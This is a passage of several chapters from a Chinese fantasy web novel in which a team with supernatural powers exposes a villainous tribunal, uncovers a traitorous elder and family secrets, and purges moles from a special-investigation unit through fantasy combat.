夏艳玲伸手去碰照片,指尖的光粒让照片泛起涟漪,竟浮现出一行新的字——“影石阵启动需要暗影容器,设计图藏于青禾堂药柜第三层,用银杏叶解锁”。
“药柜第三层?”费勇立刻蹲下身,手指扣住药柜的抽屉。暗影能量顺着指尖注入,锁芯发出轻微的“咔哒”声。
抽屉里没有设计图,只有个巴掌大的黑盒子,表面刻着和费勇影子里相同的纹路。费勇刚拿起盒子,电脑突然发出刺耳的电流声,屏幕上跳出个音频文件,老鬼的声音从扬声器里钻出来,带着电流特有的滋滋声:
“小勇,当你看到这个,我应该已经不在了。”老鬼的声音比平时沙哑,背景里能听到警
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笛声,“影石阵是个陷阱,判官想利用它把影界的怪物放出来……你父亲的暗影容器是唯一的阻止方法,但记住,千万别相信……”
“滋啦——”
一声尖锐的电流声打断了录音,屏幕瞬间变黑。费勇捏着黑盒子的手在发抖,老鬼最后想说别相信谁?判官?还是……
“盒子里有东西在动。”夏艳玲突然抓住费勇的手腕,大眼睛里满是警惕,“它在害怕,像被什么东西盯上了。”
费勇低头看向黑盒子,果然感觉到里面有微弱的震动,像是有活物在呼吸。他刚想打开盒子,就听见躺椅上传来动静——林悦醒了。
“你们在看什么?”林悦的声音还有点虚弱,她挣扎着想坐起来,却被绿藤轻轻按回躺椅,“我好像听到老鬼的声音了?”
费勇把盒子塞进怀里,对她笑了笑:“没什么,找到点有用的情报。”他不想让刚醒的林悦担心,却没注意到自己影子里,那些黑色的纹路正顺着脚踝往上爬,像在回应盒子里的震动。
苏清月关掉黑屏的电脑,将银杏叶小心地收进药盒:“老鬼提到的暗影容器,应该和你体内的暗影本源有关。”她看向费勇怀里的盒子,“说不定这个盒子就是关键。”
费勇点头,指尖摩挲着盒子上的纹路。他能感觉到一种奇妙的联系,好像这盒子本来就是他身体的一部分。
“先别打开。”夏艳玲突然按住他的手,布娃娃不知什么时候被她捡了起来,娃娃的纽扣眼睛正盯着黑盒子,“它在等一个地方,一个有很多影子的地方。”
费勇挑眉,刚想追问,就听见前院传来敲门声。苏清月的绿藤瞬间绷紧——来的人显然不是破晓的同伴,因为藤蔓传递来的生命气息带着强烈的敌意。
“看来有人不希望我们查下去。”费勇的影刃在指尖凝聚,眼神冷了下来,“清月带林悦从密道走,我和艳玲断后。”
林悦挣扎着想站起来,却被绿藤牢牢按住:“我还能打……”
“躺着就是最大的帮忙。”费勇揉了揉她的头发,动作里带着难得的温柔,“等我们回来,再听你骂我逞英雄。”
他转身时,怀里的黑盒子突然剧烈震动起来,影子里的纹路像活了一样,在皮肤上游走。费勇有种预感,老鬼留下的不只是情报,还有一个能颠覆一切的秘密——而这个秘密,正引来越来越多的豺狼。
第147章:公众的觉醒
青禾堂前院的石板路上,费勇的影刃刚划破第一个执法者的喉咙,就听见夏艳玲突然尖叫起来。她举着捡来的智能手机,屏幕在晨光里亮得刺眼——那是段化工厂地下三层的视频,镜头抖得厉害,却清晰拍到培养舱里漂浮的人影,还有空间碎片审判长挥碎培养舱的瞬间。
“发、发出去了……”夏艳玲的手指还在发抖,布娃娃被她死死抱在怀里,“那个会瞬移的哥哥说,把视频传给三十七个新闻号,就能让所有人看到……”
费勇一脚踹开扑来的执法者,影界领域突然感知到异常——这些人的影子里都缠着细如发丝的黑线,源头直指城市中心。他刚想提醒苏清月,就听见手机开始疯狂震动,群消息提示音像爆豆似的响成一片。
#裁决会实验真相#的词条后面跟着个鲜红的“爆”字,点进去全是夏艳玲上传的视频。转发量正在以每秒三千的速度飙升,评论区像炸开的锅——
“那些培养舱里是人吗?看起来像我失踪的邻居!”
“穿黑风衣的是裁决会吧?之前说他们是保护市民的英雄,骗谁呢?”
“我就说登记大会的失控事件不对劲,合着是这群疯子搞的鬼!”
苏清月扶着刚能站稳的林悦走出来,绿藤在两人头顶织成防护网。她看着手机屏幕突然笑了,眼角的泪痣在阳光下亮得像颗星:“老鬼说得对,真相永远比谎言有力量。”
林悦抢过手机,手指飞快地打字:“特调科内部已经开始清理内鬼,我以警官身份担保视频真实性。”她按下发送键时,指尖的电流不小心让手机屏幕闪了下,“刚收到消息,城西广场**了好多人,举着牌子要求彻查裁决会。”
“牌子?”费勇刚解决最后一个执法者,暗影能量消退时带来的眩晕让他踉跄了一下。他接过苏清月递来的安神药剂,仰头灌下去的瞬间,余光瞥见手机弹出的现场照片——
广场中央,个穿蓝布衫的老头举着块硬纸板,上面歪歪扭扭写着“破晓加油”。费勇认出那是贫民区卖煎饼的王大爷,上个月还被狂化者追着跑,是他用影盾救下来的。
“有意思。”费勇突然笑出声,影刃在指尖转了个圈,“判官费尽心机想把我们钉在耻辱柱上,结果搬起石头砸自己的脚。”
话音刚落,林悦的手机突然收到条加密信息。她点开的瞬间,脸色骤变:“裁决会在特调科门口放了**,说要‘清除所有被异能者蛊惑的叛徒’!”
“他们急了。”苏清月的绿藤突然剧烈晃动,“我能感觉到城市各处的植物都在躁动,好像有很多人在奔跑、呼喊……”
费勇的影界领域顺势铺开,这一次他没压制范围,任由影子蔓延到城市的每个角落。无数细碎的画面涌入脑海——举着标语的学生堵住裁决会分部,超市里的大妈边囤货边痛骂执法者,连幼儿园的老师都在给孩子讲“会发光的绿藤姐姐和影子哥哥”的故事。
“清月,带艳玲去城西广场。”费勇突然按住林悦的肩膀,暗影能量顺着指尖注入她体内,缓解雷形态的后遗症,“你去特调科拆弹,我去会会裁决会的‘**部队’。”
林悦刚想反驳,就被他塞过来的黑盒子挡住话头。那是老鬼留下的暗影容器,此刻正微微发烫:“这东西能屏蔽能量探测,拆弹时用得上。”费勇的影子在她脚边织成双黑色的鞋,“影遁鞋,五分钟内有效。”
“你呢?”林悦抓住他的手腕,指腹蹭过他伤口上未褪的黑色纹路,“别又逞英雄一个人扛。”
费勇低头时,正好对上她泛红的眼眶。这姑娘总是这样,明明自己刚从鬼门关爬回来,却总操心别人的安危。他突然想起老鬼日志里的话,忍不住伸手揉了揉她的头发:“放心,这次有全城人帮我。”
城西广场上,王大爷的煎饼摊前
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已经围了里三层外三层。穿校服的学生举着手机直播,镜头里王大爷正唾沫横飞地讲费勇怎么用影子救他:“那黑影唰地一下就把我卷走了,比过山车还刺激!”
苏清月刚带着夏艳玲挤进来,就看见人群突然炸开条通道。个戴眼镜的上班族举着笔记本电脑狂奔过来,屏幕上是裁决会官网的页面——他们发布了声明,说化工厂视频是“破晓组织伪造的异能者**预告”。
“伪造?”夏艳玲突然把布娃娃举过头顶,娃娃的纽扣眼睛里射出段投影,正是三长老与裁决会交易狂化散的录音。这是老鬼藏在娃娃里的后手,只有情绪核心的能量能激活。
人群瞬间炸了锅。不知是谁先喊了声“去特调科!”,黑压压的人流就像潮水似的涌向市中心。苏清月看着夏艳玲指尖跳动的金色光粒,突然明白老鬼的深意——情绪能量不仅能治愈,还能点燃人心。
特调科大楼前,林悦刚剪断最后一根引线,就听见远处传来震天的呼喊。她抬头时,正看见费勇站在楼顶,影界领域在阳光下铺开,像块巨大的黑布盖住了半个广场。那些举着标语的民众走进影子里,竟都获得了短暂的能量加持——学生跑得更快了,老人能挺直腰杆,连小孩都能用指尖放出微弱的光粒。
“这是……”林悦看着手机上不断刷新的热搜,#普通人也能拥有异能#的词条正在攀升。
费勇的声音顺着影子传来,带着点笑:“老鬼说暗影本源能放大接触者的潜能,原来不只是异能者。”他的影子突然化作巨手,接住从楼上跳下的裁决会卧底,“你看,光明总会驱散黑暗。”
林悦突然笑出声,掏出手机给费勇发了条消息。屏幕上跳出新的热搜时,她正看着广场中央——王大爷的煎饼摊前,个穿裁决会制服的执法者放下了武器,拿起块刚出锅的煎饼,边吃边说:“我妈也在培养舱里……”
第148章:判官的新棋子
破晓基地的临时会议室里,荧光灯管滋滋作响。费勇刚把王大爷送的煎饼塞进嘴里,就被苏清月砸过来的平板电脑糊了满脸——屏幕上,#破晓组织**平民做实验#的词条正以火箭速度蹿升,配图是张经过恶意剪辑的照片,夏艳玲的治愈光粒被P成了诡异的黑色雾气。
“半小时前突然冒出来的。”苏清月的手指在屏幕上滑动,指尖的绿藤因愤怒微微颤抖,“所有爆料账号的IP都指向青禾堂旧址,但那里三个月前就空了。”
林悦一把抢过平板,雷电在指尖噼啪作响:“是裁决会的老把戏,想把水搅浑。”她点开爆料文章里的加密附件,瞳孔骤缩,“这加密方式……和十年前青禾堂灭门案里泄露情报的手法一模一样!”
苏清月的呼吸猛地一滞。她突然想起爷爷临终前攥着的那半张信纸,上面的火漆印纹路与附件图标如出一辙。绿藤不受控制地缠上平板电脑,屏幕瞬间弹出个复杂的密码框,框边缘缠绕着细小的藤蔓花纹——那是青禾堂内部只有核心成员才懂的“生命密码”。
“是他。”苏清月的声音冷得像冰,绿藤在她掌心凝成片锋利的叶子,“三长老,我爷爷最信任的人,当年负责保管所有加密文件。”
费勇一口煎饼差点噎在喉咙里。他想起老鬼照片里站在角落的那个瘦高老头,总是穿着洗得发白的长衫,笑起来眼睛眯成条缝。老鬼在日志里提过一句:“三长老对生命病毒的研究比谁都执着,总说要‘让异能者凌驾于凡人之上’。”
“咚咚咚——”
夏艳玲抱着布娃娃,突然用额头撞了撞平板电脑。娃娃的纽扣眼睛闪过红光,屏幕上的密码框竟自动填充起来——那是串由情绪符号组成的密码,只有她的情绪核心能解读。
附件被打开的瞬间,会议室的灯光突然熄灭。投影仪自动启动,白墙上浮现出段视频:三长老坐在青禾堂的药炉前,手里捧着本泛黄的线装书,正是苏清月爷爷的日记。
“清月侄女,好久不见。”三长老的声音透过音响传来,带着令人牙酸的虚伪,“别来无恙?听说你找到老鬼留下的好东西了?”
苏清月的指甲深深掐进掌心,绿藤在她脚边织成密不透风的网:“我爷爷的日记怎么在你手里?当年灭门案是不是你干的?”
“别急啊。”三长老慢悠悠地翻开日记,镜头特意给了书页特写,上面有苏清月爷爷熟悉的批注,“想知道生命病毒的终极秘密吗?想知道你姑姑苏婉为什么要把情绪核心藏在那丫头体内吗?”他突然抬起头,浑浊的眼睛像毒蛇般盯着镜头,“来青禾堂,我等着你们。”
视频突然中断,白墙上只剩下日记最后一页的定格——画着个奇怪的符号,像株缠绕着黑色闪电的绿藤。
“这是……”费勇突然凑近屏幕,那符号边缘的纹路与他怀里的暗影容器如出一辙,“老鬼说过,这是暗影本源与生命能量的融合标记。”
林悦突然拍桌而起,雷电在她周身形成蓝色的弧光:“不能去!这明显是陷阱!三长老既然敢露面,肯定和裁决会串通好了,就等着我们自投罗网!”
“必须去。”苏清月的声音异常平静,绿藤轻轻抚过屏幕上的符号,“那本日记里有爷爷关于‘病毒抗体’的研究,是现在唯一能克制狂化散的东西。而且……”她看向夏艳玲,“三长老提到了艳玲的母亲,我必须知道真相。”
夏艳玲突然拽了拽费勇的衣角,布娃娃的耳朵里掉出片干枯的花瓣——是青禾堂特有的安神花,花瓣上用金线绣着个“光”字。“妹妹说,那里有妈妈留下的光。”她仰起脸,大眼睛里闪着坚定的光,“要去。”
费勇揉了揉她的头发,影界领域在会议室悄然铺开。他能看到每个人影子里的情绪波动:林悦的愤怒里藏着担忧,苏清月的冷静下是翻涌的仇恨,夏艳玲的恐惧中透着期待。
“那就去。”费勇突然笑了,影刃在指尖转了个漂亮的圈,“不过得按我们的规矩来——先礼后兵,不行就砸。”
林悦刚想反驳,就被他塞过来的暗影容器打断:“你留在基地,用特调科的权限查三长老的底细。裁决会肯定在青禾堂外围布了防,需要有人从外部接应。”他突然压低声音,用只有两人能听到的音量说,“上次你雷形态的后遗症还没好,别逞强。”
林悦的
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脸颊莫名发烫,刚想骂他多管闲事,就见费勇已经转身收拾东西。他给夏艳玲的布娃娃缠上暗影能量,又帮苏清月检查了药箱里的应急药剂,动作自然得像演练过千百遍。
“对了。”费勇突然想起什么,从口袋里掏出块黑色碎石——是影石阵的碎片,在化工厂时被夏艳玲的布娃娃吸附的,“这东西刚才有反应,靠近屏幕时发烫。”
碎片刚放在桌上,就自动飞向投影仪的数据线,在白墙上投射出段新的影像——三长老离开后,个穿黑色风衣的人走进镜头,露出半张戴着银色面具的脸,正是空间碎片审判长。
“判官说了,允许你提取那丫头体内30%的情绪核心能量。”审判长的声音像生锈的铁片摩擦,“但必须保证影石阵的启动仪式不受干扰。”
三长老点头哈腰的样子与视频里的嚣张判若两人:“放心,那丫头一到青禾堂,我就用‘锁灵藤’困住她,保证万无一失。”
影像到此中断。苏清月的脸色瞬间惨白:“锁灵藤是青禾堂的禁术,能吸取异能者的生命能量……他想活活抽干艳玲!”
“看来我们没猜错。”费勇收起碎片,眼神冷得像冰,“三长老不仅是叛徒,还是裁决会的走狗。”他突然拍了拍手,脸上又挂上惯有的笑容,“不过这样更好,省得我们一个个找了。”
林悦看着他胸有成竹的样子,突然叹了口气:“需要什么装备?特调科的仓库里有最新的异能抑制弹。”
“不用。”费勇指了指苏清月,“我们有最好的‘植物**’;”又拍了拍夏艳玲的布娃娃,“还有移动信号塔;”最后指了指自己的影子,“加上我这个暗影导航,保证不迷路。”
苏清月被他逗笑了,眼角的泪痣终于染上点暖意。夏艳玲也咯咯地笑,布娃娃在她怀里晃来晃去。只有林悦翻了个白眼,却默默把父亲留下的雷电防护符塞进费勇口袋:“终南山地形复杂,这东西能屏蔽能量探测,遇到危险就捏碎,我能感应到。”
费勇捏了捏防护符,触感粗糙却很温暖。他突然想起老鬼日志里的最后一句话:“最坚固的防线,往往是由信任的人组成的。”
第149章:团队的下一步
破晓基地的作战室里,地图在长桌上铺开,边缘还沾着化工厂带回来的黑色泥土。费勇用影刃尖点着终南山的位置,影子在地图上拖出条蜿蜒的黑线,像条正在游走的蛇。
“这里是青禾堂旧址,”苏清月把一杯安神茶推到他手边,绿藤顺着桌腿爬上地图,在几个标记点上开出细小的白花,“山脉走势形成天然的能量屏障,我的植物异能能和这里的植被产生共鸣,屏蔽裁决会的雷达探测。”
夏艳玲趴在桌上,布娃娃的脸贴着地图上的终南山区域。她突然抬起头,鼻尖沾着点灰,眼睛亮得惊人:“妹妹说,山里有好多会发光的花,像妈妈织的毛衣上的亮片。”她说着伸手戳了戳娃娃的肚子,里面发出细碎的响声,“还藏着暖暖的光。”
林悦抱着胳膊靠在墙上,指尖的电流在空气中画出蓝色的弧光。她面前的平板电脑上滚动着特调科的卧底名单,每个名字后面都标注着可疑的资金流向——全指向裁决会的秘密账户。
“别光顾着你们的‘探险之旅’。”她突然开口,声音里带着点不易察觉的酸意,“特调科这摊烂事还等着我收拾。昨天又抓到两个给裁决会通风报信的,审到一半就咬碎假牙里的**自尽了。”
费勇的影刃顿了顿。他看向林悦眼下的乌青,想起她昨晚几乎没合眼,一直在整理老鬼留下的卧底资料。暗影能量顺着指尖悄悄溜过去,在她手腕上缠成个细细的黑环——能缓解精神疲劳的小把戏。
“辛苦你了。”费勇的声音放软了些,“城市这边就交给你,需要支援随时打信号。”他指了指地图上的城市区域,“风行者会留在市区接应,他的速度够快,能应付突发状况。”
林悦挑眉,刚想说“谁要你可怜”,就看见手腕上的黑环化作点点星光消失了。疲劳感确实减轻了不少,她不自在地别过脸,假装研究平板:“少废话,你们进山后保持通讯静默。三长老既然敢叫板,肯定在沿途设了能量***。”
苏清月突然轻笑出声,绿藤在她指尖转了个圈:“放心,我准备了这个。”她从药箱里拿出个巴掌大的陶罐,里面装着半罐金色的粉末,“这是用情绪花粉和暗影结晶混合制成的通讯粉,遇到异能波动会释放特定频率的信号,只有我们能感应到。”
夏艳玲立刻把布娃娃递过去,苏清月小心地倒了点粉末在娃娃的布兜里。娃娃的眼睛闪了闪,竟发出段细微的鸟鸣声——是青禾堂特有的安神鸟叫声。
“好了,分工明确。”费勇拍了拍手,把暗影容器塞进背包,“林悦留城,清月带路,艳玲……”他看向正用手指给娃娃梳头发的女孩,“负责当我们的‘情绪雷达’,有危险提前预警。”
夏艳玲用力点头,把娃娃举到耳边,好像在听什么秘密。过了会儿,她突然说:“娃娃说,城里会下雨,有坏人要搞破坏。”
林悦的眼神瞬间锐利起来:“我马上去查气象武器的部署点。”她抓起外套就往外走,到门口时又停住,回头看向费勇,“对了,这个给你。”
她扔过来个用红绳系着的护身符,上面绣着雷电图案,边缘有些磨损。“我爸当年在701研究所留下的,”林悦的声音低了些,“青禾堂的古籍里提过‘影界波动’,遇到能干扰影子的东西就捏碎它,我这边能感应到位置。”
费勇接住护身符,指尖传来熟悉的雷电能量,和林悦的异能同频。他突然想起老鬼照片里那个穿旗袍的女人,怀里的襁褓上也绣着类似的图案。
“谢了。”他把护身符塞进衬衫领口,贴着心口的位置,“等我们回来,带你去吃王大爷的煎饼。”
林悦的耳朵尖微微发红,转身快步走了出去,门被她带得“砰”一声响。
作战室里安静下来,只有夏艳玲轻轻哼唱着不成调的歌谣。苏清月把一张折叠的羊皮纸摊开,上面画着青禾堂的内部结构图,角落标注着几处用藤蔓花纹标记的地点。
“这是爷爷当年手绘的,”她的指尖抚过一处标着药炉的位置,“三长老最可能把日记藏在这里,药炉的夹层能隔绝所有能量探测。”
费勇的影子突然在地图上拉长
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,覆盖了整个终南山区域。他闭着眼,影界领域正在同步山脉的地形信息,那些隐藏在密林里的山洞、溪流,甚至岩石的裂缝都清晰地呈现在他脑海中。
“发现三个异常能量点,”他睁开眼,影刃在地图上戳了三个洞,“裁决会的巡逻队,不过实力一般,我能解决。”
夏艳玲突然打了个哈欠,抱着布娃娃靠在苏清月肩上。绿藤自动缠上她的腰,像条柔软的毯子。“妹妹说,明天会是好天气。”她嘟囔着,眼睛慢慢闭上,“适合找妈妈的光。”
苏清月给她盖上件外套,对费勇做了个噤声的手势。两人轻手轻脚地走出作战室,留下女孩和她的娃娃在地图旁安睡。
走廊里,绿藤缠绕的壁灯散发着柔和的光。苏清月突然停下脚步:“你说,三长老为什么一定要等我们去青禾堂?他完全可以带着日记投靠裁决会。”
费勇靠在墙上,看着自己的影子在地面上扭曲、变形,像在模仿某种未知的生物。“因为他需要我们,”他的声音低沉而清晰,“需要艳玲的情绪核心,需要我的暗影本源,或许……还需要你爷爷留下的某个东西。”
他想起三长老视频里那个奇怪的符号,暗影容器在怀里微微发烫,像是在呼应某种遥远的召唤。
“不管他想要什么,”费勇站直身体,影刃在指尖闪着寒光,“到了青禾堂,就由不得他了。”
苏清月看着他的背影,突然觉得这个总是带着点玩世不恭的男生,肩膀已经能扛起足够重的责任。绿藤在她掌心开出朵小小的白花,她轻轻一吹,花瓣飘向费勇,沾在他的背包上。
“那是追踪花,”她解释道,“如果走散了,它会指引我们找到彼此。”
费勇回头笑了笑,把花瓣小心地收好:“放心,不会走散的。”
夜色渐深,基地的灯光逐一点亮。夏艳玲的梦里,有温暖的光在流动,布娃娃的眼睛亮了又暗,像在传递着来自远方的讯息。而终南山深处,青禾堂的药炉早已冰冷,只有那本泛黄的日记,在黑暗中等待着被翻开的时刻。
第150章:影石阵的碎片
破晓基地的仓库里堆着从化工厂搬回来的“战利品”,生锈的培养舱零件和裁决会的武器残骸堆成小山。费勇正用影刃切割一段带锯齿的金属管,暗影能量顺着刀刃游走,在管壁上烙出细密的花纹——这是老鬼教他的“能量标记术”,能销毁物品里残留的异能痕迹。
“当心点,”苏清月抱着个贴满标签的木箱从他身边经过,绿藤在指尖绕成圈,轻轻拂过金属管上的花纹,“这些东西沾过生命病毒,能量场很不稳定。”她把箱子放在桌上,里面装着些泛黄的文件和破碎的仪器零件,“刚发现的,藏在培养舱的夹层里,像是701研究所的东西。”
夏艳玲蹲在地上,正给布娃娃梳“头发”。她把从化工厂捡来的彩色玻璃碎片插在娃娃头顶,忽然“呀”了一声——娃娃的布兜不知何时沾上块黑色碎石,正牢牢吸在布料上,像长了磁铁似的。
“它咬娃娃。”夏艳玲捏着碎石的一角往外拽,小脸憋得通红。碎石表面粗糙,布满蜂窝状的小孔,在阳光下泛着暗紫色的光泽,和费勇怀里的暗影容器散发着同样的波动。
费勇的影刃顿在半空。他认出这碎石的纹路——和老鬼照片里影石阵的碎片一模一样。照片是从图书馆的暗格里找到的,泛黄的相纸上,几个穿白大褂的人围着个发光的石阵,其中一人的侧脸像极了他父亲。
“别动。”费勇走过去,指尖刚触碰到碎石,暗影容器突然在怀里发烫。碎石像被点燃的引信,瞬间爆发出黑色的光晕,竟顺着他的指尖钻进影子里。
仓库的灯光突然熄灭,地面上的影子开始扭曲、重组。费勇的影子在地板上铺开,化作块巨大的黑色幕布,一段全息影像正从幕布里缓缓升起——
画面里是间摆满仪器的实验室,“701研究所”的牌子挂在墙上,边角已经锈蚀。穿白大褂的男人正站在石台前调试什么,他转过身时,费勇的呼吸猛地一滞——那是他父亲,只是比记忆里年轻许多,鬓角还没有白发。
“还差最后三块核心石,”父亲的声音透过影像传来,带着抑制不住的兴奋,他手里拿着块和夏艳玲找到的碎石相似的晶体,小心翼翼地嵌进石阵的凹槽里,“就能完成‘暗影封印’了。到时候,生命病毒就再也无法突破屏障。”
“小心点,”影像里出现母亲的声音,她正趴在桌前记录数据,笔尖在纸上划过的沙沙声清晰可闻,“昨天判官又来打探进度了,我总觉得他没安好心。”母亲抬起头,笑容温柔得像月光,“小勇今天在幼儿园画了我们一家人,说要贴在实验室的门上。”
父亲的眼神软下来,伸手揉了揉母亲的头发:“等封印完成,我们就带他去看海。”他低头看向石阵,眼里的光突然暗了暗,“只是这封印需要‘情绪核心’作为钥匙,现在还没找到合适的载体……”
“合适的载体?”个冰冷的声音突然从影像外传来,带着令人毛骨悚然的笑意,“我倒知道个绝佳的人选。”
画面剧烈晃动起来,父亲猛地转身,镜头里闪过张戴着银色面具的脸——判官!他身后的两个审判长已经举起武器,空间碎片在空气中划出刺耳的尖啸。
“你们根本不懂影石阵的真正用途。”判官的声音像淬了毒的冰,“暗影封印?不,这是唤醒病毒的开关!等你们把核心石凑齐,就是异能者统治世界的时刻!”
影像在这里戛然而止,黑色幕布化作点点星光消失了。仓库的灯重新亮起,费勇还保持着伸手的姿势,指尖残留着影像里母亲头发的触感,温暖又模糊。
“那是……爸爸?”夏艳玲突然开口,布娃娃的眼睛闪着红光,“和妹妹梦里的人长得一样。”她把娃娃举到费勇面前,娃娃的布兜上,碎石留下的印记正慢慢变成个小小的人影轮廓,像个蜷缩的婴儿。
苏清月翻开木箱里的文件,手指突然顿住。一份实验报告的末尾贴着张合影,父亲站在中间,左边是她爷爷,右边是个穿旗袍的女人——怀里抱着的襁褓上,绣着和林悦给的护身符一样的雷电图案。
“原来如此……”苏清月的声音有些发颤,绿藤轻轻点在照片上的石阵草图,“爷爷当年也参与了影石阵的研究,他和你父母是同事。”她看向费勇,眼里的震惊还未褪去,“报告里说,影石阵能吸收并转化生命病毒,而‘暗影封印’需要两种能量驱动——暗影本源和情绪核心。”
费勇突然攥紧拳头,暗影能量在掌心翻涌。他终于明白老鬼日志里那句话的意思:“两把钥匙,一扇门。”他是暗影本源的继承者,夏艳玲体内藏着情绪核心,他们俩加起来,才是打开影石阵的钥匙。
“判官从一开
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始就知道。”费勇的声音冷得像冰,“他故意让三长老引我们去青禾堂,就是想让我们帮他凑齐核心石。”
话音刚落,夏艳玲手里的碎石突然剧烈发烫。她手一抖,碎石掉在地上,竟像块烧红的烙铁,在水泥地上烫出串奇怪的符号——是组坐标,和苏清月地图上青禾堂的位置完全吻合。
更诡异的是,坐标旁边还烙出半朵花的图案,和苏清月给的追踪花一模一样。
“它在给我们指路。”苏清月蹲下身,指尖轻轻拂过烫痕,绿藤接触到印记的瞬间,竟开出朵小小的白花,“这是青禾堂的‘生命坐标’,只有同时拥有暗影和植物能量的人才能激活。”
夏艳玲突然抱住费勇的胳膊,小脸埋在他的袖子上:“娃娃说,那里有爸爸和妈妈留下的光,但是……”她的声音带着哭腔,“还有好多好多害怕的影子。”
费勇摸了摸她的头,暗影能量顺着掌心注入她体内,安抚着躁动的情绪核心。他看向地上的坐标,又看了看苏清月手里的实验报告,突然笑了——判官以为他们是待宰的羔羊,却不知道,他们手里已经攥住了反击的地图。
“看来得提前出发了。”费勇把碎石捡起来,揣进暗影容器里,“既然判官这么着急看影石阵启动,我们就给他个‘惊喜’。”
苏清月把实验报告折好放进药箱,绿藤在她周身织成个发光的茧,将所有文件包裹起来:“我刚发现,报告里夹着半张影石阵的设计图,另一半应该在青禾堂。”她的眼神亮起来,带着点期待,“也许爷爷留下的不只是日记。”
夏艳玲把布娃娃背在背上,像只准备出发的小刺猬。她突然想起什么,从娃娃的口袋里掏出块彩色玻璃碎片,塞进费勇手里:“给你,会发光的。”
费勇捏着碎片,阳光透过玻璃在地上投出道小小的彩虹。他想起影像里母亲说的“带小勇去看海”,心里突然涌起股暖流。
“走了。”他转身走向仓库门口,影刃在指尖转了个漂亮的圈,“去会会三长老,顺便……拿回属于我们的东西。”
苏清月跟上他的脚步,绿藤在两人身后轻轻摇曳,像在编织一条通往真相的路。夏艳玲踩着他们的影子小跑,布娃娃的铃铛发出清脆的响声,在寂静的仓库里回荡,像在回应多年前实验室里那支未完成的歌谣。
第151章:林悦的内部清算
特调科的金属走廊泛着冷光,林悦踩着高跟鞋走过,鞋跟敲击地面的声音在空旷的通道里格外刺耳。她手里捏着个U盘,外壳还带着老鬼留下的温度——这是从化工厂电脑里恢复的数据,里面的卧底名单像条毒蛇,缠得整个特调科喘不过气。
“林顾问,三位组长都到齐了。”门口的警卫敬了个礼,眼神里带着点不易察觉的紧张。禁闭室的门缓缓滑开,三个穿制服的男人正背对着她说话,其中一人的手指在墙壁上敲着奇怪的节奏,像是在传递暗号。
林悦反手关上门,指尖的电流在空气中织成张无形的网。她把平板电脑扔到桌上,屏幕上滚动着三人与裁决会的秘密通讯记录,时间戳精确到秒。
“核查异能登记?”穿黑制服的男人转过身,嘴角勾起抹冷笑,他是特调科的行动组长张诚,右手始终插在口袋里,“林顾问这招请君入瓮,倒是比你那死鬼老爹利落。”
林悦的瞳孔骤缩。父亲牺牲那天,张诚是最后一个见到他的人,当时他说父亲是被裁决会的审判长偷袭,现在看来全是谎言。雷电在她掌心凝聚,噼啪作响的蓝光映得她眼底发红:“我爸的事,我会慢慢跟你们算。”
另一个戴眼镜的男人推了推镜框,试图按下警报器,却发现按钮上缠着层细密的电网。“别白费力气了,”林悦的声音冷得像冰,“从你们踏入这扇门开始,这里就被我的雷电结界笼罩了。任何异能波动都会触发高压电流,包括你们藏在衣领里的审判标记。”
三人的脸色同时变了。张诚突然从口袋里掏出把**,刀身泛着绿光——淬了异能抑制毒。“既然被你发现了,就别怪我们不客气。”他手腕翻转,**直刺林悦的咽喉,动作快得像道黑影。
林悦侧身避开,指尖的电流顺着地板窜过去,在张诚脚边炸开蓝色的火花。他踉跄着后退,皮鞋底被电出焦黑的印记。“就这点本事?”林悦挑眉,突然拍了拍手,墙上的通风口弹出个微型投影仪,科长临死前的画面赫然出现在众人面前。
视频里,科长被绑在椅子上,嘴角淌着血,却死死攥着个录音笔。张诚站在他面前,手里把玩着枚银色的徽章——那是裁决会的审判标记。“说不说?影石阵的核心石到底藏在哪?”
科长啐了口血沫:“你们这些叛徒……永远别想得到它。”
画面在这里中断。林悦关掉投影仪,手里捏着那支录音笔,是从科长的遗物里找到的。“你们以为科长的牺牲是白费的?”她按下播放键,科长最后那句话透过扬声器传来,带着血沫的声音震得人耳朵发疼,“青禾堂的植物能克制病毒……”
“住口!”戴眼镜的男人突然爆发,双手一挥,桌上的金属文件柜竟腾空而起,朝着林悦砸过来。他的异能是“重力操控”,之前一直伪装成普通文员。
林悦脚尖点地,雷电在她周身形成个蓝色的护罩。文件柜撞在护罩上,瞬间被电流劈成碎片。她突然冲向三人,指尖的雷矛划破空气,在地面上拉出道灼热的痕迹:“裁决会给了你们什么好处?让你们连自己的同胞都杀?”
第三个一直没说话的男人突然冷笑,他的身体开始变得透明:“等判官大人统治世界,我们就是新的掌权者。像你这种守着过时规则的蠢货,只配被踩在脚下。”他是“透明异能者”,负责给裁决会传递特调科的防御布局。
林悦突然笑了,笑声里带着点疯狂。她猛地捏碎手里的雷电符,整个禁闭室的金属管道突然发出嗡鸣,无数道电流顺着管道游走,在半空中织成张巨大的雷网。“你们以为透明就能躲过?”她的头发被电流染成蓝色,“我的雷电能感应金属分子的流动,包括你们骨头里的钙元素。”
透明男人的轮廓在雷网中显现,他惊恐地发现自己被电网牢牢缠住,电流正顺着血管游走,麻痹感从四肢百骸涌来。张诚还想反抗,却被林悦甩出的雷链缠住手腕,铁链上的倒刺刺破皮肤,雷电顺着伤口钻进体内,让他瞬间失去力气。
戴眼镜的男人试图降低自己的重力逃跑,却发现身体突然变得异常沉重——林悦的电流干扰了他的异能频率。他“咚”地一声摔在地上,眼镜摔成了碎片。
林悦踩着张诚的胸口,雷矛抵在他的咽喉:“说,判官为什么这么在意青禾堂?”
张诚咳着血,嘴角却还在笑:“他要……要那里的‘杀毒剂’……”他突然剧烈挣扎起来,眼睛瞪得滚圆,“是能杀死生命病毒的东西……在……”
一支黑色的**箭突
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然从窗外射来,精准地穿透了张诚的咽喉。箭头泛着绿光,和他**上的**一模一样。
林悦猛地看向窗外,只看到道黑影在楼顶一闪而过,速度快得像风。她冲到窗边,雷电在指尖凝聚成炮口,却发现对方早已消失得无影无踪。
“是风行者?”戴眼镜的男人突然尖叫,“不……是裁决会的‘清道夫’!他们要**灭口!”
林悦的眼神沉了下去。她走到另外两人面前,雷网收紧了些:“现在说还来得及。青禾堂的‘杀毒剂’到底是什么?”
透明男人颤抖着开口:“是……是影石阵的核心石……判官说……集齐五块就能……”话没说完,他突然剧烈抽搐起来,嘴角溢出黑血——假牙里藏着的**还是发作了。
最后只剩下戴眼镜的男人,他涕泪横流:“我说!我什么都说!判官让我们盯着费勇他们,说他们能找到最后两块核心石……青禾堂的地下……有第一块核心石的线索……”
林悦的雷网松了些。她拿出**把男人铐在水管上,正想追问更多,通讯器突然响了——是风行者的紧急信号。
